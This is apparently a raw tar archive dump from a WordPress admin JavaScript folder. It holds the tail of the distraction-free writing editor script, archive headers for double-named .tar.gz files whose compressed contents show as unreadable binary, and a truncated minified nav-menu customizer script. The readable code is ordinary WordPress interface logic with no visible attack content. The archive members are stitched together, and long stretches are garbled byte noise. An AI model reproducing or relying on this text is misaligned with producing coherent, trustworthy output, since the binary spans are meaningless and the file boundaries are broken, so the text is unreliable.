		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function maybeFadeIn() {
			setTimeout( function() {
				var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) );

				function hasFocus( $el ) {
					return $.contains( $el.get( 0 ), document.activeElement );
				}

				// The focused node is before or behind the editor area, and not outside the wrap.
				if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) {
					fadeIn();
				}
			}, 0 );
		}

		/**
		 * Fades out the admin bar based on focus on the admin bar.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeOutAdminBar() {
			if ( ! fadedAdminBar && faded ) {
				fadedAdminBar = true;

				$adminBar
					.on( 'mouseenter.focus', function() {
						$adminBar.addClass( 'focus-off' );
					} )
					.on( 'mouseleave.focus', function() {
						$adminBar.removeClass( 'focus-off' );
					} );
			}
		}

		/**
		 * Fades in the admin bar.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeInAdminBar() {
			if ( fadedAdminBar ) {
				fadedAdminBar = false;

				$adminBar.off( '.focus' );
			}
		}

		/**
		 * Fades out the edit slug box.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeOutSlug() {
			if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) {
				fadedSlug = true;

				$slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' );

				$slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' );
			}
		}

		/**
		 * Fades in the edit slug box.
		 *
		 * @since 4.1.0
		 *
		 * @return {void}
		 */
		function fadeInSlug() {
			if ( fadedSlug ) {
				fadedSlug = false;

				$slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' );

				$slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' );
			}
		}

		/**
		 * Triggers the toggle on Alt + Shift + W.
		 *
		 * Keycode 87 = w.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The event to trigger the toggle.
		 *
		 * @return {void}
		 */
		function toggleViaKeyboard( event ) {
			if ( event.altKey && event.shiftKey && 87 === event.keyCode ) {
				toggle();
			}
		}

		if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) {
			$content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
		}

		/**
		 * Adds the distraction free writing button when setting up TinyMCE.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The TinyMCE editor setup event.
		 * @param {object} editor The editor to add the button to.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-setup.focus', function( event, editor ) {
			editor.addButton( 'dfw', {
				active: _isOn,
				classes: 'wp-dfw btn widget',
				disabled: ! _isActive,
				onclick: toggle,
				onPostRender: function() {
					var button = this;

					editor.on( 'init', function() {
						if ( button.disabled() ) {
							button.hide();
						}
					} );

					$document
					.on( 'dfw-activate.focus', function() {
						button.disabled( false );
						button.show();
					} )
					.on( 'dfw-deactivate.focus', function() {
						button.disabled( true );
						button.hide();
					} )
					.on( 'dfw-on.focus', function() {
						button.active( true );
					} )
					.on( 'dfw-off.focus', function() {
						button.active( false );
					} );
				},
				tooltip: 'Distraction-free writing mode',
				shortcut: 'Alt+Shift+W'
			} );

			editor.addCommand( 'wpToggleDFW', toggle );
			editor.addShortcut( 'access+w', '', 'wpToggleDFW' );
		} );

		/**
		 * Binds and unbinds events on the editor.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The TinyMCE editor init event.
		 * @param {object} editor The editor to bind events on.
		 *
		 * @return {void}
		 */
		$document.on( 'tinymce-editor-init.focus', function( event, editor ) {
			var mceBind, mceUnbind;

			function focus() {
				editorHasFocus = true;
			}

			function blur() {
				editorHasFocus = false;
			}

			if ( editor.id === 'content' ) {
				$editorWindow = $( editor.getWin() );
				$editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' );

				mceBind = function() {
					editor.on( 'keydown', fadeOut );
					editor.on( 'blur', maybeFadeIn );
					editor.on( 'focus', focus );
					editor.on( 'blur', blur );
					editor.on( 'wp-autoresize', recalcEditorRect );
				};

				mceUnbind = function() {
					editor.off( 'keydown', fadeOut );
					editor.off( 'blur', maybeFadeIn );
					editor.off( 'focus', focus );
					editor.off( 'blur', blur );
					editor.off( 'wp-autoresize', recalcEditorRect );
				};

				if ( _isOn ) {
					mceBind();
				}

				// Bind and unbind based on the distraction free writing focus.
				$document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind );

				// Focuse the editor when it is the target of the click event.
				editor.on( 'click', function( event ) {
					if ( event.target === editor.getDoc().documentElement ) {
						editor.focus();
					}
				} );
			}
		} );

		/**
		 *  Binds events on quicktags init.
		 *
		 * @since 4.1.0
		 *
		 * @param {event} event The quicktags init event.
		 * @param {object} editor The editor to bind events on.
		 *
		 * @return {void}
		 */
		$document.on( 'quicktags-init', function( event, editor ) {
			var $button;

			// Bind the distraction free writing events if the distraction free writing button is available.
			if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) {
				$button = $( '#' + editor.name + '_dfw' );

				$( document )
				.on( 'dfw-activate', function() {
					$button.prop( 'disabled', false );
				} )
				.on( 'dfw-deactivate', function() {
					$button.prop( 'disabled', true );
				} )
				.on( 'dfw-on', function() {
					$button.addClass( 'active' );
				} )
				.on( 'dfw-off', function() {
					$button.removeClass( 'active' );
				} );
			}
		} );

		$document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate );

		if ( _isOn ) {
			$content.on( 'keydown.focus', fadeOut );

			$title.add( $content ).on( 'blur.focus', maybeFadeIn );
		}

		window.wp = window.wp || {};
		window.wp.editor = window.wp.editor || {};
		window.wp.editor.dfw = {
			activate: activate,
			deactivate: deactivate,
			isActive: isActive,
			on: on,
			off: off,
			toggle: toggle,
			isOn: isOn
		};
	} );
} )( window, window.jQuery );
plugin-install.js.js.tar.gz000064400000005275150276633110011700 0ustar00��Yms��W�Wl�G9䑒��h�Nj�v��J�!��AH�>n�(���}�w�8�L��3I���b9�=,�7���pRi�s�Jg��.��r���)�̗ܰ3SL�[�<����_���ݹ>�߻�W��F������}������`�����������kx�vn�S�k�qYL���ʍ_��V������D.�c|�.}��pm���a�;�
�܎U~�n����>}��žk�XZgH��K]�{0
R��&�?��ιB��g�����tn�i�����ի�X�s���TΟ�%^�����N�NgO5��n��x}Y�Ve3zujg�\A���<?I@N�*U�.�m�%>�pr<Cf]�����B+V%mZ�h�7)�a�W&�s�"G`/�5���b��\���#��Ӄ��@d����H$����{<8�M�}��I�N4~��7�O�	�D��)����\3&Gzԇ��p�^�y���c��£��Z۝gj��z̩�,TE���O!$�-��r���d�3���h|��	��$$E�u����u�Ӆ�8c�|}tɲ���:K���d�$ޖ$̝2뇵 hx4b!����*�U�&W��c��YE�ɼ�01�JO�K���V�}��i=���_��(����wzK+]�j�{0���8�e4x���Y�H��]n�H��|}�	����{ DB�
��"��	V6�w�$���ȹ����vܞau����w�Y0�(8
��N�+�:Ud���3�cR�!�ʹw ����Bڴ��W)mv'P,:��P8
���A�KN'�;��'	t���z�%r�m�3��]�(���
�|�.�y1�d|X�iZ�5��`�IY�1����
�&�B�"��sk2��&HױH�L��Ğ+��HjQ��I������DN
�^g%z���5+b�f�<ޙB��d��B�]v\�����V����XM>�Hv�k���<�R#�4<���Y(��z}'?�CX�e�A�y7�:��
٩��F��,4lx?z�$ڕ/����4��'���v���V��M�c���E0̮r����o����]�	�BXƐ��EҴ��D[:N�9��%j>�5
XHf*�MG����Ep��y���	�\��,�N߀��{�1��;v���c�,�ƍ�")@Wf��z:����Mh�P���
��-��uC�r�D��;z3�L!q�	��B�)��G��&�{ͪf�����Z�O(��s��u��9L��L����[����0](
�A��X�X	`��厜�����]�a%Ʉh9�L1��D�z+:�_л�1� 0f�9x�}?HW��+�m��umS���s°�|���M��TJ�
�)"r3��M�y��%�Y���B/Q��@(G(P���/c�D�r�c����{�Y@Dp&#,�E�P����7dy<Y�
���q-1AUK��r[��Ob%����7��)z\d/1o $�yɼi�v��ø�����e�e����J��ga��:�S���O&5�'�������S+�ғ^$�ꇊF�X�4w#d�"�h��P�6�H�9*:rMYvn��a�I�b$mGm�Sj��M�x�l���%$0w�?-��(�v#��!Aq�W��1�+��,��R?n���7�����
Z��m�-��J&,ң��hG���\˅��~������Fڭ[�[Ɋ�����^G��JN��z��y�ϩ�(z�F� �WI��h�w�-~]�����D�GRl�u09�p����uQżw����^˯�5U��q����E|T���䙠Nj�W/S8�^��m��f���N�#�R�S+��4�:qn�1z���^�qKo�Nдr}�8�� �#�{����Ã�"����rR_]S�n;;�V��aB�M�gʫ�7>��	,*������ɢ:�:�28�Y	���֥�(R�N��B�*S���H]Y��O{\�QL���
M�W�?�_�RP�ʛ��w<��a�-�n��t��i@�p���:E�o*["��km�^�
�_�%_�!2#��l�:�`R-�'�╥�`���1��aZ�6��d�N��ʝ��\�trHX��c��:�K��<{�C�licE��A�����aʒ�ʨS�g�X�@B7�~��T@�k�!��
�!�u��8������D}S�J��z[g�5M�}r�Fp�`�c|D�0�*H����2�R�ov��dYU��F�o<�6����y��]I�_�1�4‚)�V:�f��-��>�
��Jrm�A
���8[7����ZS��r[��j&
6	�[�(֧#\�����T]e��&JB��}�c#�k���Y,��b8T{2n0�95�9O�RC @
/�#$zA����4�#�4X��pg2wCT��:�C�3��C.�ƹ�q����ʰ ���)V���9���-�&���)�"���ס'(��x���%}a�w|Q)��V�eY�J�KZ���W��<O30�ю�&_��:�$n1�S���c���M�3&���i9��8V$��FA�o��C�E�r��]�RGs�hI�D���°�k�+Ȏ�Z�D�>�m&l�~k��t�tDta�Bt}Q��:#��b_��z�]��D6u�>`�Ə@q�}Y��mA��T&�A2
z�o�Z�����'{1��"code-editor.min.js.min.js.tar.gz000064400000002612150276633110012470 0ustar00��Wmo�6��
[��i%K[̩`Y�[�
;,�Z�m&��T\�ߝ^l��(0�ۇAB���^��3ՙ�+�SB�c#���F$,�Y��x�Iտ��X'�'�a����/!�Wgg�q+<�����������,a�4<=;�_���FP�5t�G�y�s=��3���_^8ݛ%w"�<��e�	�(�I����O��h�
�C�\�diK��˃�B�NjE
����c����Λ��%��`��M�G7�4�_�ݘ˴�=O��+c�y�����wW<%����i@�j�*I�PR6�}^��R9/87�Fu�@��:ph�ߏ�E�C�.*���J�bE]P�t	e�K������#�����і��$�2���������F]C�f�bk�"�^z������L~�Q$����@0S��n9��Ɓ�#�F��bc��z+jY��w�|K5����7�sTPUݲ����	��`Q]�'�o��cV<
#�|�Kߗ��y:��h�p�r��G�"�.�\MJ�Y�
8����	6�1�F�\"�8K���)|�I�9�D�`�v�J��5�8Vj��hT�PTG�%\���{�˸y�z� b;5&�s(,���eVu({�!�B)ǥ�DP
'��n�荾E��;"Jz�1�;6�n�W�A�=k���Œ���H0 e��x�Dm�ƣq�=�]�,OB���az<ޜXC@:?�Vq���9ْ��^6}�_��3��d�h�FA=kkB�3��܄a��9�f3�r
���d����^��L m�L�hV���U�1/R�A8d9T�M5@��S�M��yUp��5���2hŤ^�ՈG	��nH�]��N�%��[>H%��$����҆b�(�TB��y.��޷�7�e�*��b�u��V��:�ހz	�M��B�����/���݄�;�z��m�
_Q��T�~*�5/9� �E~�f��Х��_7�����w}��1I�c�9�y�S�@��,�MȺP1�7 ٵ~�‘��0VLH�1�}`��x��kP�ܗ
�0o��(ge	A;���1�3��2��.(^5j�N�bv����Ӻcbi����z:T�������?�Ǒ&�˥=��DgT8���꫊��7y�F|�ف%���;�x�<�<��ma�ea�}�ܤ;O��<[�T>��B{��i��������i�M��pI�Q�r4�6��k�H5��p;���
k����|�̃�?
��V}me�d���x
D{��z(=�{�����nEҟ�nF�
�"���$���[A��r�~�f[��(P:����3P�r8)�cUWH���jռ��+����<8���yO�i<����?\+H�customize-nav-menus.min.js000064400000131027150276633110011625 0ustar00/*! This file is auto-generated */
!function(c,l,m){"use strict";function u(e){return(e=(e=l.sanitize.stripTagsAndEncodeText(e=e||"")).toString().trim())||c.Menus.data.l10n.unnamed}wpNavMenu.originalInit=wpNavMenu.init,wpNavMenu.options.menuItemDepthPerLevel=20,wpNavMenu.options.sortableItems="> .customize-control-nav_menu_item",wpNavMenu.options.targetTolerance=10,wpNavMenu.init=function(){this.jQueryExtensions()},c.Menus=c.Menus||{},c.Menus.data={itemTypes:[],l10n:{},settingTransport:"refresh",phpIntMax:0,defaultSettingValues:{nav_menu:{},nav_menu_item:{}},locationSlugMappedToName:{}},"undefined"!=typeof _wpCustomizeNavMenusSettings&&m.extend(c.Menus.data,_wpCustomizeNavMenusSettings),c.Menus.generatePlaceholderAutoIncrementId=function(){return-Math.ceil(c.Menus.data.phpIntMax*Math.random())},c.Menus.AvailableItemModel=Backbone.Model.extend(m.extend({id:null},c.Menus.data.defaultSettingValues.nav_menu_item)),c.Menus.AvailableItemCollection=Backbone.Collection.extend({model:c.Menus.AvailableItemModel,sort_key:"order",comparator:function(e){return-e.get(this.sort_key)},sortByField:function(e){this.sort_key=e,this.sort()}}),c.Menus.availableMenuItems=new c.Menus.AvailableItemCollection(c.Menus.data.availableMenuItems),c.Menus.insertAutoDraftPost=function(n){var i=m.Deferred(),e=l.ajax.post("customize-nav-menus-insert-auto-draft",{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",customize_changeset_uuid:c.settings.changeset.uuid,params:n});return e.done(function(t){t.post_id&&(c("nav_menus_created_posts").set(c("nav_menus_created_posts").get().concat([t.post_id])),"page"===n.post_type&&(c.section.has("static_front_page")&&c.section("static_front_page").activate(),c.control.each(function(e){"dropdown-pages"===e.params.type&&e.container.find('select[name^="_customize-dropdown-pages-"]').append(new Option(n.post_title,t.post_id))})),i.resolve(t))}),e.fail(function(e){var t=e||"";void 0!==e.message&&(t=e.message),console.error(t),i.rejectWith(t)}),i.promise()},c.Menus.AvailableMenuItemsPanelView=l.Backbone.View.extend({el:"#available-menu-items",events:{"input #menu-items-search":"debounceSearch","focus .menu-item-tpl":"focus","click .menu-item-tpl":"_submit","click #custom-menu-item-submit":"_submitLink","keypress #custom-menu-item-name":"_submitLink","click .new-content-item .add-content":"_submitNew","keypress .create-item-input":"_submitNew",keydown:"keyboardAccessible"},selected:null,currentMenuControl:null,debounceSearch:null,$search:null,$clearResults:null,searchTerm:"",rendered:!1,pages:{},sectionContent:"",loading:!1,addingNew:!1,initialize:function(){var n=this;c.panel.has("nav_menus")&&(this.$search=m("#menu-items-search"),this.$clearResults=this.$el.find(".clear-results"),this.sectionContent=this.$el.find(".available-menu-items-list"),this.debounceSearch=_.debounce(n.search,500),_.bindAll(this,"close"),m("#customize-controls, .customize-section-back").on("click keydown",function(e){var t=m(e.target).is(".item-delete, .item-delete *"),e=m(e.target).is(".add-new-menu-item, .add-new-menu-item *");!m("body").hasClass("adding-menu-items")||t||e||n.close()}),this.$clearResults.on("click",function(){n.$search.val("").trigger("focus").trigger("input")}),this.$el.on("input","#custom-menu-item-name.invalid, #custom-menu-item-url.invalid",function(){m(this).removeClass("invalid")}),c.panel("nav_menus").container.on("expanded",function(){n.rendered||(n.initList(),n.rendered=!0)}),this.sectionContent.on("scroll",function(){var e=n.$el.find(".accordion-section.open .available-menu-items-list").prop("scrollHeight"),t=n.$el.find(".accordion-section.open").height();!n.loading&&m(this).scrollTop()>.75*e-t&&(e=m(this).data("type"),t=m(this).data("object"),"search"===e?n.searchTerm&&n.doSearch(n.pages.search):n.loadItems([{type:e,object:t}]))}),c.previewer.bind("url",this.close),n.delegateEvents())},search:function(e){var t=m("#available-menu-items-search"),n=m("#available-menu-items .accordion-section").not(t);e&&this.searchTerm!==e.target.value&&(""===e.target.value||t.hasClass("open")?""===e.target.value&&(t.removeClass("open"),n.show(),this.$clearResults.removeClass("is-visible")):(n.fadeOut(100),t.find(".accordion-section-content").slideDown("fast"),t.addClass("open"),this.$clearResults.addClass("is-visible")),this.searchTerm=e.target.value,this.pages.search=1,this.doSearch(1))},doSearch:function(t){var e,n=this,i=m("#available-menu-items-search"),a=i.find(".accordion-section-content"),o=l.template("available-menu-item");if(n.currentRequest&&n.currentRequest.abort(),!(t<0)){if(1<t)i.addClass("loading-more"),a.attr("aria-busy","true"),l.a11y.speak(c.Menus.data.l10n.itemsLoadingMore);else if(""===n.searchTerm)return a.html(""),void l.a11y.speak("");i.addClass("loading"),n.loading=!0,e=c.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",search:n.searchTerm,page:t}),n.currentRequest=l.ajax.post("search-available-menu-items-customizer",e),n.currentRequest.done(function(e){1===t&&a.empty(),i.removeClass("loading loading-more"),a.attr("aria-busy","false"),i.addClass("open"),n.loading=!1,e=new c.Menus.AvailableItemCollection(e.items),n.collection.add(e.models),e.each(function(e){a.append(o(e.attributes))}),e.length<20?n.pages.search=-1:n.pages.search=n.pages.search+1,e&&1<t?l.a11y.speak(c.Menus.data.l10n.itemsFoundMore.replace("%d",e.length)):e&&1===t&&l.a11y.speak(c.Menus.data.l10n.itemsFound.replace("%d",e.length))}),n.currentRequest.fail(function(e){e.message&&(a.empty().append(m('<li class="nothing-found"></li>').text(e.message)),l.a11y.speak(e.message)),n.pages.search=-1}),n.currentRequest.always(function(){i.removeClass("loading loading-more"),a.attr("aria-busy","false"),n.loading=!1,n.currentRequest=null})}},initList:function(){var t=this;_.each(c.Menus.data.itemTypes,function(e){t.pages[e.type+":"+e.object]=0}),t.loadItems(c.Menus.data.itemTypes)},loadItems:function(e,t){var i=this,a=[],o={},s=l.template("available-menu-item"),t=_.isString(e)&&_.isString(t)?[{type:e,object:t}]:e;_.each(t,function(e){var t,n=e.type+":"+e.object;-1!==i.pages[n]&&((t=m("#available-menu-items-"+e.type+"-"+e.object)).find(".accordion-section-title").addClass("loading"),o[n]=t,a.push({object:e.object,type:e.type,page:i.pages[n]}))}),0!==a.length&&(i.loading=!0,e=c.previewer.query({excludeCustomizedSaved:!0}),_.extend(e,{"customize-menus-nonce":c.settings.nonce["customize-menus"],wp_customize:"on",item_types:a}),(t=l.ajax.post("load-available-menu-items-customizer",e)).done(function(e){var n;_.each(e.items,function(e,t){0===e.length?(0===i.pages[t]&&o[t].find(".accordion-section-title").addClass("cannot-expand").removeClass("loading").find(".accordion-section-title > button").prop("tabIndex",-1),i.pages[t]=-1):("post_type:page"!==t||o[t].hasClass("open")||o[t].find(".accordion-section-title > button").trigger("click"),e=new c.Menus.AvailableItemCollection(e),i.collection.add(e.models),n=o[t].find(".available-menu-items-list"),e.each(function(e){n.append(s(e.attributes))}),i.pages[t]+=1)})}),t.fail(function(e){"undefined"!=typeof console&&console.error&&console.error(e)}),t.always(function(){_.each(o,function(e){e.find(".accordion-section-title").removeClass("loading")}),i.loading=!1}))},itemSectionHeight:function(){var e=window.innerHeight,t=this.$el.find(".accordion-section:not( #available-menu-items-search ) .accordion-section-content"),n=this.$el.find('.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")'),e=e-(46*(1+t.length)+14);120<e&&e<290&&(t.css("max-height",e),n.css("max-height",e-60))},select:function(e){this.selected=m(e),this.selected.siblings(".menu-item-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(m(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(m(e.currentTarget))},submit:function(e){var t;(e=e||this.selected)&&this.currentMenuControl&&(this.select(e),t=m(this.selected).data("menu-item-id"),t=this.collection.findWhere({id:t}))&&(this.currentMenuControl.addItemToMenu(t.attributes),m(e).find(".menu-item-handle").addClass("item-added"))},_submitLink:function(e){"keypress"===e.type&&13!==e.which||this.submitLink()},submitLink:function(){var e,t=m("#custom-menu-item-name"),n=m("#custom-menu-item-url"),i=n.val().trim();this.currentMenuControl&&(e=/^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/,""===t.val()?t.addClass("invalid"):e.test(i)?(e={title:t.val(),url:i,type:"custom",type_label:c.Menus.data.l10n.custom_label,object:"custom"},this.currentMenuControl.addItemToMenu(e),n.val("").attr("placeholder","https://"),t.val("")):n.addClass("invalid"))},_submitNew:function(e){"keypress"===e.type&&13!==e.which||this.addingNew||(e=m(e.target).closest(".accordion-section"),this.submitNew(e))},submitNew:function(n){var i=this,a=n.find(".create-item-input"),e=a.val(),t=n.find(".available-menu-items-list"),o=t.data("type"),s=t.data("object"),r=t.data("type_label");this.currentMenuControl&&"post_type"===o&&(""===a.val().trim()?(a.addClass("invalid"),a.focus()):(a.removeClass("invalid"),n.find(".accordion-section-title").addClass("loading"),i.addingNew=!0,a.attr("disabled","disabled"),c.Menus.insertAutoDraftPost({post_title:e,post_type:s}).done(function(e){var t,e=new c.Menus.AvailableItemModel({id:"post-"+e.post_id,title:a.val(),type:o,type_label:r,object:s,object_id:e.post_id,url:e.url});i.currentMenuControl.addItemToMenu(e.attributes),c.Menus.availableMenuItemsPanel.collection.add(e),t=n.find(".available-menu-items-list"),(e=m(l.template("available-menu-item")(e.attributes))).find(".menu-item-handle:first").addClass("item-added"),t.prepend(e),t.scrollTop(),a.val("").removeAttr("disabled"),i.addingNew=!1,n.find(".accordion-section-title").removeClass("loading")})))},open:function(e){var t,n=this;this.currentMenuControl=e,this.itemSectionHeight(),c.section.has("publish_settings")&&c.section("publish_settings").collapse(),m("body").addClass("adding-menu-items"),t=function(){n.close(),m(this).off("click",t)},m("#customize-preview").on("click",t),_(this.currentMenuControl.getMenuItemControls()).each(function(e){e.collapseForm()}),this.$el.find(".selected").removeClass("selected"),this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentMenuControl&&this.currentMenuControl.container.find(".add-new-menu-item").focus(),this.currentMenuControl=null,this.selected=null,m("body").removeClass("adding-menu-items"),m("#available-menu-items .menu-item-handle.item-added").removeClass("item-added"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,n=27===e.which,i=9===e.which&&e.shiftKey,a=m(e.target).is(this.$search);t&&!this.$search.val()||(a&&i?(this.currentMenuControl.container.find(".add-new-menu-item").focus(),e.preventDefault()):n&&this.close({returnFocus:!0}))}}),c.Menus.MenusPanel=c.Panel.extend({attachEvents:function(){c.Panel.prototype.attachEvents.call(this);var t=this.container.find(".panel-meta"),n=t.find(".customize-help-toggle"),i=t.find(".customize-panel-description"),a=m("#screen-options-wrap"),o=t.find(".customize-screen-options-toggle");o.on("click keydown",function(e){if(!c.utils.isKeydownButNotEnterEvent(e))return e.preventDefault(),i.not(":hidden")&&(i.slideUp("fast"),n.attr("aria-expanded","false")),"true"===o.attr("aria-expanded")?(o.attr("aria-expanded","false"),t.removeClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast")):(o.attr("aria-expanded","true"),t.addClass("open"),t.addClass("active-menu-screen-options"),a.slideDown("fast")),!1}),n.on("click keydown",function(e){c.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),"true"===o.attr("aria-expanded")&&(o.attr("aria-expanded","false"),n.attr("aria-expanded","true"),t.addClass("open"),t.removeClass("active-menu-screen-options"),a.slideUp("fast"),i.slideDown("fast")))})},ready:function(){var e=this;e.container.find(".hide-column-tog").on("click",function(){e.saveManageColumnsState()}),c.section("menu_locations",function(e){e.headContainer.prepend(l.template("nav-menu-locations-header")(c.Menus.data))})},saveManageColumnsState:_.debounce(function(){var e=this;e._updateHiddenColumnsRequest&&e._updateHiddenColumnsRequest.abort(),e._updateHiddenColumnsRequest=l.ajax.post("hidden-columns",{hidden:e.hidden(),screenoptionnonce:m("#screenoptionnonce").val(),page:"nav-menus"}),e._updateHiddenColumnsRequest.always(function(){e._updateHiddenColumnsRequest=null})},2e3),checked:function(){},unchecked:function(){},hidden:function(){return m(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(0,e.length-5)}).get().join(",")}}),c.Menus.MenuSection=c.Section.extend({initialize:function(e,t){c.Section.prototype.initialize.call(this,e,t),this.deferred.initSortables=m.Deferred()},ready:function(){var e,t,n=this;if(void 0===n.params.menu_id)throw new Error("params.menu_id was not defined");n.active.validate=function(){return!!c.has(n.id)&&!!c(n.id).get()},n.populateControls(),n.navMenuLocationSettings={},n.assignedLocations=new c.Value([]),c.each(function(e,t){t=t.match(/^nav_menu_locations\[(.+?)]/);t&&(n.navMenuLocationSettings[t[1]]=e).bind(function(){n.refreshAssignedLocations()})}),n.assignedLocations.bind(function(e){n.updateAssignedLocationsInSectionTitle(e)}),n.refreshAssignedLocations(),c.bind("pane-contents-reflowed",function(){n.contentContainer.parent().length&&(n.container.find(".menu-item .menu-item-reorder-nav button").attr({tabindex:"0","aria-hidden":"false"}),n.container.find(".menu-item.move-up-disabled .menus-move-up").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-down-disabled .menus-move-down").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-left-disabled .menus-move-left").attr({tabindex:"-1","aria-hidden":"true"}),n.container.find(".menu-item.move-right-disabled .menus-move-right").attr({tabindex:"-1","aria-hidden":"true"}))}),t=function(){var e="field-"+m(this).val()+"-active";n.contentContainer.toggleClass(e,m(this).prop("checked"))},(e=c.panel("nav_menus").contentContainer.find(".metabox-prefs:first").find(".hide-column-tog")).each(t),e.on("click",t)},populateControls:function(){var e,t=this,n=t.id+"[name]",i=c.control(n);i||(i=new c.controlConstructor.nav_menu_name(n,{type:"nav_menu_name",label:c.Menus.data.l10n.menuNameLabel,section:t.id,priority:0,settings:{default:t.id}}),c.control.add(i),i.active.set(!0)),(n=c.control(t.id))||(n=new c.controlConstructor.nav_menu(t.id,{type:"nav_menu",section:t.id,priority:998,settings:{default:t.id},menu_id:t.params.menu_id}),c.control.add(n),n.active.set(!0)),i=t.id+"[locations]",c.control(i)||(i=new c.controlConstructor.nav_menu_locations(i,{section:t.id,priority:999,settings:{default:t.id},menu_id:t.params.menu_id}),c.control.add(i.id,i),n.active.set(!0)),i=t.id+"[auto_add]",(n=c.control(i))||(n=new c.controlConstructor.nav_menu_auto_add(i,{type:"nav_menu_auto_add",label:"",section:t.id,priority:1e3,settings:{default:t.id}}),c.control.add(n),n.active.set(!0)),i=t.id+"[delete]",(e=c.control(i))||(e=new c.Control(i,{section:t.id,priority:1001,templateId:"nav-menu-delete-button"}),c.control.add(e.id,e),e.active.set(!0),e.deferred.embedded.done(function(){e.container.find("button").on("click",function(){var e=t.params.menu_id;c.Menus.getMenuControl(e).setting.set(!1)})}))},refreshAssignedLocations:function(){var n=this.params.menu_id,i=[];_.each(this.navMenuLocationSettings,function(e,t){e()===n&&i.push(t)}),this.assignedLocations.set(i)},updateAssignedLocationsInSectionTitle:function(e){var n=this.container.find(".accordion-section-title:first");n.find(".menu-in-location").remove(),_.each(e,function(e){var t=m('<span class="menu-in-location"></span>'),e=c.Menus.data.locationSlugMappedToName[e];t.text(c.Menus.data.l10n.menuLocation.replace("%s",e)),n.append(t)}),this.container.toggleClass("assigned-to-menu-location",0!==e.length)},onChangeExpanded:function(e,t){var n,i=this;e&&(wpNavMenu.menuList=i.contentContainer,wpNavMenu.targetList=wpNavMenu.menuList,m("#menu-to-edit").removeAttr("id"),wpNavMenu.menuList.attr("id","menu-to-edit").addClass("menu"),_.each(c.section(i.id).controls(),function(e){"nav_menu_item"===e.params.type&&e.actuallyEmbed()}),t.completeCallback&&(n=t.completeCallback),t.completeCallback=function(){"resolved"!==i.deferred.initSortables.state()&&(wpNavMenu.initSortables(),i.deferred.initSortables.resolve(wpNavMenu.menuList),c.control("nav_menu["+String(i.params.menu_id)+"]").reflowMenuItems()),_.isFunction(n)&&n()}),c.Section.prototype.onChangeExpanded.call(i,e,t)},highlightNewItemButton:function(){c.utils.highlightButton(this.contentContainer.find(".add-new-menu-item"),{delay:2e3})}}),c.Menus.createNavMenu=function(e){var t=c.Menus.generatePlaceholderAutoIncrementId(),n="nav_menu["+String(t)+"]";return c.create(n,n,{},{type:"nav_menu",transport:c.Menus.data.settingTransport,previewer:c.previewer}).set(m.extend({},c.Menus.data.defaultSettingValues.nav_menu,{name:e||""})),c.section.add(new c.Menus.MenuSection(n,{panel:"nav_menus",title:u(e),customizeAction:c.Menus.data.l10n.customizingMenus,priority:10,menu_id:t}))},c.Menus.NewMenuSection=c.Section.extend({attachEvents:function(){var t=this,e=t.container,n=t.contentContainer,i=/^nav_menu\[/;function a(){var t;e.find(".add-new-menu-notice").prop("hidden",(t=0,c.each(function(e){i.test(e.id)&&!1!==e.get()&&(t+=1)}),0<t))}function o(e){i.test(e.id)&&(e.bind(a),a())}t.headContainer.find(".accordion-section-title").replaceWith(l.template("nav-menu-create-menu-section-title")),e.on("click",".customize-add-menu-button",function(){t.expand()}),n.on("keydown",".menu-name-field",function(e){13===e.which&&t.submit()}),n.on("click","#customize-new-menu-submit",function(e){t.submit(),e.stopPropagation(),e.preventDefault()}),c.each(o),c.bind("add",o),c.bind("removed",function(e){i.test(e.id)&&(e.unbind(a),a())}),a(),c.Section.prototype.attachEvents.apply(t,arguments)},ready:function(){this.populateControls()},populateControls:function(){var e=this,t=e.id+"[name]",n=c.control(t);n||(n=new c.controlConstructor.nav_menu_name(t,{label:c.Menus.data.l10n.menuNameLabel,description:c.Menus.data.l10n.newMenuNameDescription,section:e.id,priority:0}),c.control.add(n.id,n),n.active.set(!0)),t=e.id+"[locations]",(n=c.control(t))||(n=new c.controlConstructor.nav_menu_locations(t,{section:e.id,priority:1,menu_id:"",isCreating:!0}),c.control.add(t,n),n.active.set(!0)),t=e.id+"[submit]",(n=c.control(t))||(n=new 